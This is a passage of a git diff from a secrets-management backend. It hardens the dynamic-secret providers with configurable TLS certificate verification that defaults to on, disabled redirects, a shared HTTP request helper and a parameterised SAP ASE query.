     }
 
     const dynamicSecretCfg = await dynamicSecretDAL.find(
-      { $in: { folderId: folders.map((folder) => folder.id) }, $search: search ? { name: `%${search}%` } : undefined },
+      { $in: { folderId: folders.map((folder) => folder.id) }, $search: search ? { name: search } : undefined },
       { countDistinct: "name" }
     );
 
@@ -653,7 +653,7 @@ export const dynamicSecretServiceFactory = ({
     }
 
     const dynamicSecretCfg = await dynamicSecretDAL.find(
-      { folderId: folder.id, $search: search ? { name: `%${search}%` } : undefined },
+      { folderId: folder.id, $search: search ? { name: search } : undefined },
       { count: true }
     );
     return Number(dynamicSecretCfg[0]?.count ?? 0);
@@ -697,7 +697,7 @@ export const dynamicSecretServiceFactory = ({
       throw new NotFoundError({ message: `Folder with path '${path}' in environment '${environmentSlug}' not found` });
 
     const dynamicSecretCfg = await dynamicSecretDAL.findWithMetadata(
-      { folderId: folder.id, $search: search ? { name: `%${search}%` } : undefined },
+      { folderId: folder.id, $search: search ? { name: search } : undefined },
       {
         limit,
         offset,
diff --git a/backend/src/ee/services/dynamic-secret/providers/aws-elasticache.ts b/backend/src/ee/services/dynamic-secret/providers/aws-elasticache.ts
index 0ce83a49afe..6cf5c9c9fdd 100644
--- a/backend/src/ee/services/dynamic-secret/providers/aws-elasticache.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/aws-elasticache.ts
@@ -255,7 +255,9 @@ export const AwsElastiCacheDatabaseProvider = (): TDynamicProviderFns => {
   const revoke = async (inputs: unknown, entityId: string) => {
     const providerInputs = await validateProviderInputs(inputs);
 
-    const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username: entityId });
+    const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({
+      username: entityId
+    });
     const parsedStatement = DeleteElasticCacheUserSchema.parse(JSON.parse(revokeStatement));
 
     try {
diff --git a/backend/src/ee/services/dynamic-secret/providers/azure-entra-id.ts b/backend/src/ee/services/dynamic-secret/providers/azure-entra-id.ts
index 98386c4d37d..cc72f268b36 100644
--- a/backend/src/ee/services/dynamic-secret/providers/azure-entra-id.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/azure-entra-id.ts
@@ -1,6 +1,6 @@
-import axios from "axios";
 import { customAlphabet } from "nanoid";
 
+import { request } from "@app/lib/config/request";
 import { BadRequestError } from "@app/lib/errors";
 import { sanitizeString } from "@app/lib/fn";
 
@@ -29,7 +29,7 @@ export const AzureEntraIDProvider = (): TDynamicProviderFns & {
     applicationId: string,
     clientSecret: string
   ): Promise<{ token?: string; success: boolean }> => {
-    const response = await axios.post<{ access_token: string }>(
+    const response = await request.post<{ access_token: string }>(
       `${MSFT_LOGIN_URL}/${tenantId}/oauth2/v2.0/token`,
       {
         grant_type: "client_credentials",
@@ -76,7 +76,7 @@ export const AzureEntraIDProvider = (): TDynamicProviderFns & {
         throw new BadRequestError({ message: "Failed to authorize to Microsoft Entra ID" });
       }
 
-      const response = await axios.patch(
+      const response = await request.patch(
         `${MSFT_GRAPH_API_URL}/users/${providerInputs.userId}`,
         {
           passwordProfile: {
@@ -136,7 +136,7 @@ export const AzureEntraIDProvider = (): TDynamicProviderFns & {
       throw new BadRequestError({ message: "Failed to authorize to Microsoft Entra ID" });
     }
 
-    const response = await axios.get<{ value: [{ id: string; displayName: string; userPrincipalName: string }] }>(
+    const response = await request.get<{ value: [{ id: string; displayName: string; userPrincipalName: string }] }>(
       `${MSFT_GRAPH_API_URL}/users`,
       {
         headers: {
diff --git a/backend/src/ee/services/dynamic-secret/providers/azure-sql-database.ts b/backend/src/ee/services/dynamic-secret/providers/azure-sql-database.ts
index 8b1580cac5d..00c77013bf8 100644
--- a/backend/src/ee/services/dynamic-secret/providers/azure-sql-database.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/azure-sql-database.ts
@@ -145,7 +145,11 @@ export const AzureSqlDatabaseProvider = ({
     targetDatabase?: string
   ) => {
     const ssl = providerInputs.ca
-      ? { rejectUnauthorized: false, ca: providerInputs.ca, servername: providerInputs.host }
+      ? {
+          rejectUnauthorized: providerInputs.sslRejectUnauthorized,
+          ca: providerInputs.ca,
+          servername: providerInputs.originalHost
+        }
       : undefined;
 
     /*
@@ -177,7 +181,7 @@ export const AzureSqlDatabaseProvider = ({
         // https://github.com/tediousjs/tedious/blob/ebb023ed90969a7ec0e4b036533ad52739d921f7/test/config.ci.ts#L19
         options: {
           ...(providerInputs.sslEnabled !== undefined ? { encrypt: providerInputs.sslEnabled } : {}),
-          trustServerCertificate: !providerInputs.ca,
+          trustServerCertificate: !providerInputs.sslRejectUnauthorized,
           cryptoCredentialsDetails: providerInputs.ca ? { ca: providerInputs.ca } : {}
         }
       },
@@ -367,7 +371,10 @@ export const AzureSqlDatabaseProvider = ({
     const { database, masterDatabase } = providerInputs;
 
     const gatewayCallback = async (host = providerInputs.host, port = providerInputs.port) => {
-      const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username, database });
+      const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({
+        username,
+        database
+      });
       const queries = revokeStatement.toString().split(";").filter(Boolean);
 
       const userDropQueries = queries.filter((query) => query.toLowerCase().includes("drop user"));
@@ -487,7 +494,7 @@ export const AzureSqlDatabaseProvider = ({
       const expiration = new Date(expireAt).toISOString();
       const { database } = providerInputs;
 
-      const renewStatement = handlebars.compile(providerInputs.renewStatement)({
+      const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
         username: entityId,
         expiration,
         database
diff --git a/backend/src/ee/services/dynamic-secret/providers/cassandra.ts b/backend/src/ee/services/dynamic-secret/providers/cassandra.ts
index 1b3413141a4..79160924b76 100644
--- a/backend/src/ee/services/dynamic-secret/providers/cassandra.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/cassandra.ts
@@ -43,7 +43,9 @@ export const CassandraProvider = (): TDynamicProviderFns => {
   };
 
   const $getClient = async (providerInputs: z.infer<typeof DynamicSecretCassandraSchema>) => {
-    const sslOptions = providerInputs.ca ? { rejectUnauthorized: false, ca: providerInputs.ca } : undefined;
+    const sslOptions = providerInputs.ca
+      ? { rejectUnauthorized: providerInputs.sslRejectUnauthorized, ca: providerInputs.ca }
+      : undefined;
     const client = new cassandra.Client({
       sslOptions,
       protocolOptions: {
@@ -146,7 +148,10 @@ export const CassandraProvider = (): TDynamicProviderFns => {
     const { keyspace } = providerInputs;
 
     try {
-      const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username, keyspace });
+      const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({
+        username,
+        keyspace
+      });
       const queries = revokeStatement.toString().split(";").filter(Boolean);
       for (const query of queries) {
         // eslint-disable-next-line
@@ -180,7 +185,7 @@ export const CassandraProvider = (): TDynamicProviderFns => {
     try {
       const expiration = new Date(expireAt).toISOString();
 
-      const renewStatement = handlebars.compile(providerInputs.renewStatement)({
+      const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
         username: entityId,
         keyspace,
         expiration
diff --git a/backend/src/ee/services/dynamic-secret/providers/couchbase.ts b/backend/src/ee/services/dynamic-secret/providers/couchbase.ts
index 090eb549b20..06ed1c38e93 100644
--- a/backend/src/ee/services/dynamic-secret/providers/couchbase.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/couchbase.ts
@@ -1,9 +1,9 @@
 import crypto from "node:crypto";
 
-import axios from "axios";
 import RE2 from "re2";
 
 import { TDynamicSecrets } from "@app/db/schemas";
+import { request } from "@app/lib/config/request";
 import { BadRequestError } from "@app/lib/errors";
 import { sanitizeString } from "@app/lib/fn";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
@@ -159,7 +159,7 @@ const couchbaseApiRequest = async (
   await blockLocalAndPrivateIpAddresses(url);
 
   try {
-    const response = await axios({
+    const response = await request({
       method: method.toLowerCase() as "get" | "post" | "put" | "delete",
       url,
       headers: {
@@ -167,7 +167,8 @@ const couchbaseApiRequest = async (
         "Content-Type": "application/json"
       },
       data: data || undefined,
-      timeout: 30000
+      timeout: 30000,
+      maxRedirects: 0
     });
 
     return response.data as CouchbaseUserResponse;
diff --git a/backend/src/ee/services/dynamic-secret/providers/elastic-search.ts b/backend/src/ee/services/dynamic-secret/providers/elastic-search.ts
index 85c85f43696..5aaf73f3d0d 100644
--- a/backend/src/ee/services/dynamic-secret/providers/elastic-search.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/elastic-search.ts
@@ -30,7 +30,7 @@ export const ElasticSearchProvider = (): TDynamicProviderFns => {
         url: new URL(`${providerInputs.host}:${providerInputs.port}`),
         ...(providerInputs.ca && {
           ssl: {
-            rejectUnauthorized: false,
+            rejectUnauthorized: providerInputs.sslRejectUnauthorized,
             ca: providerInputs.ca
           }
         })
diff --git a/backend/src/ee/services/dynamic-secret/providers/github.ts b/backend/src/ee/services/dynamic-secret/providers/github.ts
index d3259064ae8..408189f56ce 100644
--- a/backend/src/ee/services/dynamic-secret/providers/github.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/github.ts
@@ -1,6 +1,7 @@
-import axios from "axios";
+import { isAxiosError } from "axios";
 import jwt from "jsonwebtoken";
 
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import { BadRequestError, InternalServerError } from "@app/lib/errors";
 import { sanitizeString } from "@app/lib/fn";
@@ -56,7 +57,7 @@ export const GithubProvider = (): TDynamicProviderFns => {
     const tokenUrl = `${IntegrationUrls.GITHUB_API_URL}/app/installations/${String(installationId)}/access_tokens`;
 
     try {
-      const response = await axios.post<GitHubInstallationTokenResponse>(tokenUrl, undefined, {
+      const response = await request.post<GitHubInstallationTokenResponse>(tokenUrl, undefined, {
         headers: {
           Authorization: `Bearer ${appJwt}`,
           Accept: "application/vnd.github.v3+json",
@@ -73,7 +74,7 @@ export const GithubProvider = (): TDynamicProviderFns => {
       });
     } catch (error) {
       let message = "Failed to fetch GitHub installation access token.";
-      if (axios.isAxiosError(error) && error.response) {
+      if (isAxiosError(error) && error.response) {
         const githubErrorMsg =
           (error.response.data as { message?: string })?.message || JSON.stringify(error.response.data);
         message += ` GitHub API Error: ${error.response.status} - ${githubErrorMsg}`;
diff --git a/backend/src/ee/services/dynamic-secret/providers/kubernetes.ts b/backend/src/ee/services/dynamic-secret/providers/kubernetes.ts
index a9b9cf1c276..5dac4914fc1 100644
--- a/backend/src/ee/services/dynamic-secret/providers/kubernetes.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/kubernetes.ts
@@ -1,7 +1,8 @@
-import axios, { AxiosError } from "axios";
+import { AxiosError, isAxiosError } from "axios";
 import https from "https";
 
 import { TDynamicSecrets } from "@app/db/schemas";
+import { request } from "@app/lib/config/request";
 import { BadRequestError } from "@app/lib/errors";
 import { sanitizeString } from "@app/lib/fn";
 import { GatewayHttpProxyActions, GatewayProxyProtocol, withGatewayProxy } from "@app/lib/gateway";
@@ -135,7 +136,7 @@ export const KubernetesProvider = ({
       for await (const namespace of namespaces) {
         try {
           // 1. Create a test service account
-          await axios.post(
+          await request.post(
             `${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts`,
             {
               metadata: {
@@ -171,7 +172,7 @@ export const KubernetesProvider = ({
             ...(providerInputs.roleType !== KubernetesRoleType.ClusterRole && { namespace })
           };
 
-          await axios.post(
+          await request.post(
             roleBindingUrl,
             {
               metadata: roleBindingMetadata,
@@ -206,7 +207,7 @@ export const KubernetesProvider = ({
           );
 
           // 3. Request a token for the test service account
-          await axios.post(
+          await request.post(
             `${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${serviceAccountName}/token`,
             {
               spec: {
@@ -233,7 +234,7 @@ export const KubernetesProvider = ({
 
           // 4. Cleanup: delete role binding and service account
           if (providerInputs.roleType === KubernetesRoleType.Role) {
-            await axios.delete(
+            await request.delete(
               `${baseUrl}/apis/rbac.authorization.k8s.io/v1/namespaces/${namespace}/rolebindings/${roleBindingName}`,
               {
                 headers: {
@@ -252,24 +253,27 @@ export const KubernetesProvider = ({
               }
             );
           } else {
-            await axios.delete(`${baseUrl}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/${roleBindingName}`, {
-              headers: {
-                "Content-Type": "application/json",
-                ...(providerInputs.authMethod === KubernetesAuthMethod.Gateway
-                  ? { "x-infisical-action": GatewayHttpProxyActions.UseGatewayK8sServiceAccount }
-                  : { Authorization: `Bearer ${providerInputs.clusterToken}` })
-              },
-              ...(providerInputs.authMethod === KubernetesAuthMethod.Api
-                ? {
-                    httpsAgent
-                  }
-                : {}),
-              signal: AbortSignal.timeout(EXTERNAL_REQUEST_TIMEOUT),
-              timeout: EXTERNAL_REQUEST_TIMEOUT
-            });
+            await request.delete(
+              `${baseUrl}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/${roleBindingName}`,
+              {
+                headers: {
+                  "Content-Type": "application/json",
+                  ...(providerInputs.authMethod === KubernetesAuthMethod.Gateway
+                    ? { "x-infisical-action": GatewayHttpProxyActions.UseGatewayK8sServiceAccount }
+                    : { Authorization: `Bearer ${providerInputs.clusterToken}` })
+                },
+                ...(providerInputs.authMethod === KubernetesAuthMethod.Api
+                  ? {
+                      httpsAgent
+                    }
+                  : {}),
+                signal: AbortSignal.timeout(EXTERNAL_REQUEST_TIMEOUT),
+                timeout: EXTERNAL_REQUEST_TIMEOUT
+              }
+            );
           }
 
-          await axios.delete(`${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${serviceAccountName}`, {
+          await request.delete(`${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${serviceAccountName}`, {
             headers: {
               "Content-Type": "application/json",
               ...(providerInputs.authMethod === KubernetesAuthMethod.Gateway
@@ -305,7 +309,7 @@ export const KubernetesProvider = ({
 
       const baseUrl = port ? `${host}:${port}` : host;
 
-      await axios.get(
+      await request.get(
         `${baseUrl}/api/v1/namespaces/${providerInputs.namespace}/serviceaccounts/${providerInputs.serviceAccountName}`,
         {
           headers: {
@@ -337,7 +341,7 @@ export const KubernetesProvider = ({
         providerInputs.ca && providerInputs.sslEnabled
           ? new https.Agent({
               ca: providerInputs.ca,
-              rejectUnauthorized: true
+              rejectUnauthorized: providerInputs.sslRejectUnauthorized
             })
           : undefined;
 
@@ -378,7 +382,7 @@ export const KubernetesProvider = ({
       return true;
     } catch (error) {
       let errorMessage = error instanceof Error ? error.message : "Unknown error";
-      if (axios.isAxiosError(error)) {
+      if (isAxiosError(error)) {
         if (error.response) {
           let { message } = error?.response?.data as unknown as { message?: string };
 
@@ -452,7 +456,7 @@ export const KubernetesProvider = ({
       }
 
       // 1. Create the service account
-      await axios.post(
+      await request.post(
         `${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts`,
         {
           metadata: {
@@ -488,7 +492,7 @@ export const KubernetesProvider = ({
         ...(providerInputs.roleType !== KubernetesRoleType.ClusterRole && { namespace })
       };
 
-      await axios.post(
+      await request.post(
         roleBindingUrl,
         {
           metadata: roleBindingMetadata,
@@ -523,7 +527,7 @@ export const KubernetesProvider = ({
       );
 
       // 3. Request a token for the service account
-      const res = await axios.post<TKubernetesTokenRequest>(
+      const res = await request.post<TKubernetesTokenRequest>(
         `${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${serviceAccountName}/token`,
         {
           spec: {
@@ -564,7 +568,7 @@ export const KubernetesProvider = ({
 
       const baseUrl = port ? `${host}:${port}` : host;
 
-      const res = await axios.post<TKubernetesTokenRequest>(
+      const res = await request.post<TKubernetesTokenRequest>(
         `${baseUrl}/api/v1/namespaces/${providerInputs.namespace}/serviceaccounts/${providerInputs.serviceAccountName}/token`,
         {
           spec: {
@@ -606,7 +610,7 @@ export const KubernetesProvider = ({
         providerInputs.ca && providerInputs.sslEnabled
           ? new https.Agent({
               ca: providerInputs.ca,
-              rejectUnauthorized: true
+              rejectUnauthorized: providerInputs.sslRejectUnauthorized
             })
           : undefined;
 
@@ -651,7 +655,7 @@ export const KubernetesProvider = ({
       };
     } catch (error) {
       let errorMessage = error instanceof Error ? error.message : "Unknown error";
-      if (axios.isAxiosError(error)) {
+      if (isAxiosError(error)) {
         if (error.response) {
           let { message } = error?.response?.data as unknown as { message?: string };
 
@@ -695,7 +699,7 @@ export const KubernetesProvider = ({
       const namespace = config?.namespace ?? providerInputs.namespace.split(",")[0].trim();
 
       if (providerInputs.roleType === KubernetesRoleType.Role) {
-        await axios.delete(
+        await request.delete(
           `${baseUrl}/apis/rbac.authorization.k8s.io/v1/namespaces/${namespace}/rolebindings/${roleBindingName}`,
           {
             headers: {
@@ -714,7 +718,7 @@ export const KubernetesProvider = ({
           }
         );
       } else {
-        await axios.delete(`${baseUrl}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/${roleBindingName}`, {
+        await request.delete(`${baseUrl}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/${roleBindingName}`, {
           headers: {
             "Content-Type": "application/json",
             ...(providerInputs.authMethod === KubernetesAuthMethod.Gateway
@@ -732,7 +736,7 @@ export const KubernetesProvider = ({
       }
 
       // Delete the service account
-      await axios.delete(`${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${entityId}`, {
+      await request.delete(`${baseUrl}/api/v1/namespaces/${namespace}/serviceaccounts/${entityId}`, {
         headers: {
           "Content-Type": "application/json",
           ...(providerInputs.authMethod === KubernetesAuthMethod.Gateway
@@ -765,7 +769,7 @@ export const KubernetesProvider = ({
           providerInputs.ca && providerInputs.sslEnabled
             ? new https.Agent({
                 ca: providerInputs.ca,
-                rejectUnauthorized: true
+                rejectUnauthorized: providerInputs.sslRejectUnauthorized
               })
             : undefined;
 
@@ -798,7 +802,7 @@ export const KubernetesProvider = ({
         }
       } catch (error) {
         let errorMessage = error instanceof Error ? error.message : "Unknown error";
-        if (axios.isAxiosError(error)) {
+        if (isAxiosError(error)) {
           if (error.response) {
             let { message } = error?.response?.data as unknown as { message?: string };
 
diff --git a/backend/src/ee/services/dynamic-secret/providers/ldap.ts b/backend/src/ee/services/dynamic-secret/providers/ldap.ts
index a71f12ec290..ee7c6f4f510 100644
--- a/backend/src/ee/services/dynamic-secret/providers/ldap.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/ldap.ts
@@ -56,10 +56,12 @@ export const LdapProvider = (): TDynamicProviderFns => {
     return new Promise((resolve, reject) => {
       const client = ldapjs.createClient({
         url: providerInputs.url,
-        tlsOptions: {
-          ca: providerInputs.ca ? providerInputs.ca : null,
-          rejectUnauthorized: !!providerInputs.ca
-        },
+        tlsOptions: providerInputs.ca
+          ? {
+              ca: providerInputs.ca ? providerInputs.ca : null,
+              rejectUnauthorized: providerInputs.sslRejectUnauthorized
+            }
+          : undefined,
         reconnect: true,
         bindDN: providerInputs.binddn,
         bindCredentials: providerInputs.bindpass
diff --git a/backend/src/ee/services/dynamic-secret/providers/models.ts b/backend/src/ee/services/dynamic-secret/providers/models.ts
index e2e156e2e67..6b04c0da20b 100644
--- a/backend/src/ee/services/dynamic-secret/providers/models.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/models.ts
@@ -86,7 +86,8 @@ export const DynamicSecretRedisDBSchema = z.object({
   creationStatement: z.string().trim(),
   revocationStatement: z.string().trim(),
   renewStatement: z.string().trim().optional(),
-  ca: z.string().optional()
+  ca: z.string().optional(),
+  sslRejectUnauthorized: z.boolean().default(true)
 });
 
 export const DynamicSecretAwsElastiCacheSchema = z.object({
@@ -96,8 +97,7 @@ export const DynamicSecretAwsElastiCacheSchema = z.object({
 
   region: z.string().trim(),
   creationStatement: z.string().trim(),
-  revocationStatement: z.string().trim(),
-  ca: z.string().optional()
+  revocationStatement: z.string().trim()
 });
 
 export const DynamicSecretElasticSearchSchema = z.object({
@@ -119,7 +119,8 @@ export const DynamicSecretElasticSearchSchema = z.object({
     })
   ]),
 
-  ca: z.string().optional()
+  ca: z.string().optional(),
+  sslRejectUnauthorized: z.boolean().default(true)
 });
 
 export const DynamicSecretRabbitMqSchema = z.object({
@@ -131,6 +132,7 @@ export const DynamicSecretRabbitMqSchema = z.object({
   password: z.string().trim().min(1),
 
   ca: z.string().optional(),
+  sslRejectUnauthorized: z.boolean().default(true),
 
   virtualHost: z.object({
     name: z.string().trim().min(1),
@@ -176,6 +178,7 @@ export const DynamicSecretSqlDBSchema = z.object({
   renewStatement: z.string().trim().optional(),
   ca: z.string().optional(),
   sslEnabled: z.boolean().optional(),
+  sslRejectUnauthorized: z.boolean().default(true),
   gatewayId: z.string().nullable().optional()
 });
 
@@ -224,7 +227,8 @@ export const DynamicSecretCassandraSchema = z.object({
   creationStatement: z.string().trim(),
   revocationStatement: z.string().trim(),
   renewStatement: z.string().trim().optional(),
-  ca: z.string().optional()
+  ca: z.string().optional(),
+  sslRejectUnauthorized: z.boolean().default(true)
 });
 
 export const DynamicSecretSapAseSchema = z.object({
@@ -329,6 +333,7 @@ export const DynamicSecretMongoDBSchema = z.object({
   password: z.string().min(1).trim(),
   database: z.string().min(1).trim(),
   ca: z.string().trim().optional().nullable(),
+  sslRejectUnauthorized: z.boolean().default(true),
   roles: z
     .string()
     .array()
@@ -346,7 +351,8 @@ export const DynamicSecretSapHanaSchema = z.object({
   creationStatement: z.string().trim(),
   revocationStatement: z.string().trim(),
   renewStatement: z.string().trim().optional(),
-  ca: z.string().optional()
+  ca: z.string().optional(),
+  sslRejectUnauthorized: z.boolean().default(true)
 });
 
 export const DynamicSecretSnowflakeSchema = z.object({
@@ -402,6 +408,7 @@ export const DynamicSecretAzureSqlDBSchema = z.object({
   renewStatement: z.string().trim().optional(),
   ca: z.string().optional(),
   sslEnabled: z.boolean().optional(),
+  sslRejectUnauthorized: z.boolean().default(true),
   gatewayId: z.string().nullable().optional()
 });
 
@@ -411,6 +418,7 @@ export const LdapSchema = z.union([
     binddn: z.string().trim().min(1),
     bindpass: z.string().trim().min(1),
     ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true),
     credentialType: z.literal(LdapCredentialType.Dynamic).optional().default(LdapCredentialType.Dynamic),
     creationLdif: z.string().min(1),
     revocationLdif: z.string().min(1),
@@ -421,6 +429,7 @@ export const LdapSchema = z.union([
     binddn: z.string().trim().min(1),
     bindpass: z.string().trim().min(1),
     ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true),
     credentialType: z.literal(LdapCredentialType.Static),
     rotationLdif: z.string().min(1)
   })
@@ -438,6 +447,7 @@ export const DynamicSecretKubernetesSchema = z
       clusterToken: z.string().trim().optional(),
       ca: z.string().optional(),
       sslEnabled: z.boolean().default(false),
+      sslRejectUnauthorized: z.boolean().default(true),
       credentialType: z.literal(KubernetesCredentialType.Static),
       serviceAccountName: z.string().trim().min(1),
       namespace: z
@@ -464,6 +474,7 @@ export const DynamicSecretKubernetesSchema = z
       clusterToken: z.string().trim().optional(),
       ca: z.string().optional(),
       sslEnabled: z.boolean().default(false),
+      sslRejectUnauthorized: z.boolean().default(true),
       credentialType: z.literal(KubernetesCredentialType.Dynamic),
       namespace: z
         .string()
diff --git a/backend/src/ee/services/dynamic-secret/providers/mongo-atlas.ts b/backend/src/ee/services/dynamic-secret/providers/mongo-atlas.ts
index b4d296f8e11..163a7302ff8 100644
--- a/backend/src/ee/services/dynamic-secret/providers/mongo-atlas.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/mongo-atlas.ts
@@ -28,7 +28,8 @@ export const MongoAtlasProvider = (): TDynamicProviderFns => {
       headers: {
         Accept: "application/vnd.atlas.2023-02-01+json",
         "Content-Type": "application/json"
-      }
+      },
+      maxRedirects: 0
     });
     const digestAuth = createDigestAuthRequestInterceptor(
       client,
diff --git a/backend/src/ee/services/dynamic-secret/providers/mongo-db.ts b/backend/src/ee/services/dynamic-secret/providers/mongo-db.ts
index c5442374240..57a2dca5ed1 100644
--- a/backend/src/ee/services/dynamic-secret/providers/mongo-db.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/mongo-db.ts
@@ -35,7 +35,8 @@ export const MongoDBProvider = (): TDynamicProviderFns => {
         password: providerInputs.password
       },
       directConnection: !isSrv,
-      ca: providerInputs.ca || undefined
+      ca: providerInputs.ca || undefined,
+      tlsAllowInvalidCertificates: !providerInputs.sslRejectUnauthorized
     });
     return client;
   };
diff --git a/backend/src/ee/services/dynamic-secret/providers/rabbit-mq.ts b/backend/src/ee/services/dynamic-secret/providers/rabbit-mq.ts
index 639453bf31e..d590578191b 100644
--- a/backend/src/ee/services/dynamic-secret/providers/rabbit-mq.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/rabbit-mq.ts
@@ -92,9 +92,9 @@ export const RabbitMqProvider = (): TDynamicProviderFns => {
       headers: {
         "Content-Type": "application/json"
       },
-
+      maxRedirects: 0,
       ...(providerInputs.ca && {
-        httpsAgent: new https.Agent({ ca: providerInputs.ca, rejectUnauthorized: false })
+        httpsAgent: new https.Agent({ ca: providerInputs.ca, rejectUnauthorized: providerInputs.sslRejectUnauthorized })
       })
     });
 
diff --git a/backend/src/ee/services/dynamic-secret/providers/redis.ts b/backend/src/ee/services/dynamic-secret/providers/redis.ts
index 6f64dd3f089..9860363346f 100644
--- a/backend/src/ee/services/dynamic-secret/providers/redis.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/redis.ts
@@ -77,8 +77,9 @@ export const RedisDatabaseProvider = (): TDynamicProviderFns => {
         password: providerInputs.password,
         ...(providerInputs.ca && {
           tls: {
-            rejectUnauthorized: false,
-            ca: providerInputs.ca
+            ca: providerInputs.ca,
+            rejectUnauthorized: providerInputs.sslRejectUnauthorized,
+            servername: providerInputs.host
           }
         })
       });
@@ -176,7 +177,7 @@ export const RedisDatabaseProvider = (): TDynamicProviderFns => {
 
     const username = entityId;
 
-    const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username });
+    const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({ username });
     const queries = revokeStatement.toString().split(";").filter(Boolean);
 
     try {
@@ -204,7 +205,10 @@ export const RedisDatabaseProvider = (): TDynamicProviderFns => {
     const username = entityId;
     const expiration = new Date(expireAt).toISOString();
 
-    const renewStatement = handlebars.compile(providerInputs.renewStatement)({ username, expiration });
+    const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
+      username,
+      expiration
+    });
 
     try {
       if (renewStatement) {
diff --git a/backend/src/ee/services/dynamic-secret/providers/sap-ase.ts b/backend/src/ee/services/dynamic-secret/providers/sap-ase.ts
index 549507ae385..c5da910b742 100644
--- a/backend/src/ee/services/dynamic-secret/providers/sap-ase.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/sap-ase.ts
@@ -158,7 +158,7 @@ export const SapAseProvider = (): TDynamicProviderFns => {
     const masterClient = await $getClient(providerInputs, true);
 
     // Get all processes for this login and kill them. If there are active connections to the database when drop login happens, it will throw an error.
-    const result = await masterClient.query<{ spid?: string }>(`sp_who '${username}'`);
+    const result = await masterClient.query<{ spid?: string }>(`sp_who ?`, [username]);
 
     if (result && result.length > 0) {
       for await (const row of result) {
diff --git a/backend/src/ee/services/dynamic-secret/providers/sap-hana.ts b/backend/src/ee/services/dynamic-secret/providers/sap-hana.ts
index 2995b5be685..ffb25d53bc3 100644
--- a/backend/src/ee/services/dynamic-secret/providers/sap-hana.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/sap-hana.ts
@@ -51,7 +51,8 @@ export const SapHanaProvider = (): TDynamicProviderFns => {
       password: providerInputs.password,
       ...(providerInputs.ca
         ? {
-            ca: providerInputs.ca
+            ca: providerInputs.ca,
+            rejectUnauthorized: providerInputs.sslRejectUnauthorized
           }
         : {})
     });
@@ -148,7 +149,7 @@ export const SapHanaProvider = (): TDynamicProviderFns => {
   const revoke = async (inputs: unknown, username: string) => {
     const providerInputs = await validateProviderInputs(inputs);
     const client = await $getClient(providerInputs);
-    const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username });
+    const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({ username });
     const queries = revokeStatement.toString().split(";").filter(Boolean);
     try {
       for await (const query of queries) {
@@ -182,7 +183,10 @@ export const SapHanaProvider = (): TDynamicProviderFns => {
     try {
       const expiration = new Date(expireAt).toISOString();
 
-      const renewStatement = handlebars.compile(providerInputs.renewStatement)({ username: entityId, expiration });
+      const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
+        username: entityId,
+        expiration
+      });
       const queries = renewStatement.toString().split(";").filter(Boolean);
       for await (const query of queries) {
         await new Promise((resolve, reject) => {
diff --git a/backend/src/ee/services/dynamic-secret/providers/snowflake.ts b/backend/src/ee/services/dynamic-secret/providers/snowflake.ts
index 650fe4f8c58..d8ed94921bc 100644
--- a/backend/src/ee/services/dynamic-secret/providers/snowflake.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/snowflake.ts
@@ -146,7 +146,7 @@ export const SnowflakeProvider = (): TDynamicProviderFns => {
     const client = await $getClient(providerInputs);
 
     try {
-      const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username });
+      const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({ username });
 
       await new Promise((resolve, reject) => {
         client.execute({
@@ -181,7 +181,7 @@ export const SnowflakeProvider = (): TDynamicProviderFns => {
 
     try {
       const expiration = getDaysToExpiry(new Date(expireAt));
-      const renewStatement = handlebars.compile(providerInputs.renewStatement)({
+      const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
         username: entityId,
         expiration
       });
diff --git a/backend/src/ee/services/dynamic-secret/providers/sql-database.ts b/backend/src/ee/services/dynamic-secret/providers/sql-database.ts
index 7a5505d6584..230dd73b528 100644
--- a/backend/src/ee/services/dynamic-secret/providers/sql-database.ts
+++ b/backend/src/ee/services/dynamic-secret/providers/sql-database.ts
